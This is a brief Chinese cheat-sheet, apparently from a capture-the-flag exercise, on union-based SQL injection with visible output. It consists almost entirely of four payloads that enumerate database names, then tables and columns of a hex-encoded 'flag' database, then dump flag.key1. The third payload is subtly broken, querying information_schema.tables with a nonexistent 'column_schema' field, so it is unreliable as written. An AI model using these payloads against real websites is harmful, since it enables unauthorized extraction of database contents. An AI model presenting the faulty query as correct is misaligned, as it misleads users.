有回显的爆库爆表爆字段_2020-03-30

有回显的注入三部曲

爆库、爆表、爆字段

0 union select 1,2,group_concat(schema_name),4 from information_schema.schemata

0 union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema=0x666C6167

0 union select 1,2,group_concat(column_name),4 from information_schema.tables where column_schema=0x666C6167

0 union select 1,2,group_concat(flag),4 from flag.key1